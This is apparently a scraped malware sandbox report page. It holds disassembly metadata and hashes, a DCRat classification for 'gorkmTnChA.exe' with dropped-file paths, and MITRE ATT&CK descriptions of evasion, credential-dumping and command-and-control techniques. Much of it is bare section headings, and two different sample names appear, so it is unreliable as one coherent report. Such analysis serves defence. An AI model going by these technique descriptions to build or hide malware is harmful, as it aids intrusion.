Instruction Fuzzy Hash: BB015E30D0128CEFDB00EBE8C915ADDBBB0FF15304F548498E042AB286DBB45A48DB92

Function 00853BEE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 00853C1B

Strings

C:\ReleaseAI\platform\ui\controls\mshtml\GenericAxControl.cpp, xrefs: 00853C06
Unknown exception, xrefs: 00853BF6

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: ActiveWindow
String ID: C:\ReleaseAI\platform\ui\controls\mshtml\GenericAxControl.cpp$Unknown exception
API String ID: 2558294473-2631306498
Opcode ID: 87d67dc8a9e1ec5ecfe16405af32dfb942de506cd5010d21dec71be7062feb6a
Instruction ID: 7a9c1958f208312ae4db13938d6682e444cf8f3d2cc340237dfd2ca2ea9a2cdc
Opcode Fuzzy Hash: 87d67dc8a9e1ec5ecfe16405af32dfb942de506cd5010d21dec71be7062feb6a
Instruction Fuzzy Hash: 01014C30D0628CEEDF05EBE8C915BDDBBB0BF55304F548498E442AB286DBB45B08D792

Function 00A155C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0085A4A0: InitializeCriticalSectionAndSpinCount.KERNEL32(00B2FDD0,00000000,C7BA013E,00840000,Function_001FDE90,000000FF,?,00A155F3,?,?,?,008475C6), ref: 0085A4C5
Part of subcall function 0085A4A0: GetLastError.KERNEL32(?,00A155F3,?,?,?,008475C6), ref: 0085A4CF

IsDebuggerPresent.KERNEL32(?,?,?,008475C6), ref: 00A155F7
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,008475C6), ref: 00A15606

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00A15601

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CountCriticalDebugDebuggerErrorInitializeLastOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 450123788-631824599
Opcode ID: 77f698fc39b123303142036777994ac411ff54c313c4c234aa9f7d58453f762f
Instruction ID: b1b6e96592e1ce107732ab6e0e50b9ffa37b350949dfe83c84b84c50ab1892c3
Opcode Fuzzy Hash: 77f698fc39b123303142036777994ac411ff54c313c4c234aa9f7d58453f762f
Instruction Fuzzy Hash: 04E06D70600B418FD330AFB8E544796BBE4AF44708F54892DE896C3680EBB5D489CBA1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report gorkmTnChA.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Reference Assemblies\Microsoft\98135c31e34d63

C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

C:\Program Files\Uninstall Information\98135c31e34d63

C:\Program Files\Uninstall Information\KAdpNCgonFhCnlBRasdZerWl.exe

C:\Program Files\Windows NT\Accessories\en-GB\98135c31e34d63

C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe

C:\Users\Default\Favorites\6dd19aba3e2428

C:\Users\Default\Favorites\ApplicationFrameHost.exe

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
gorkmTnChA.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre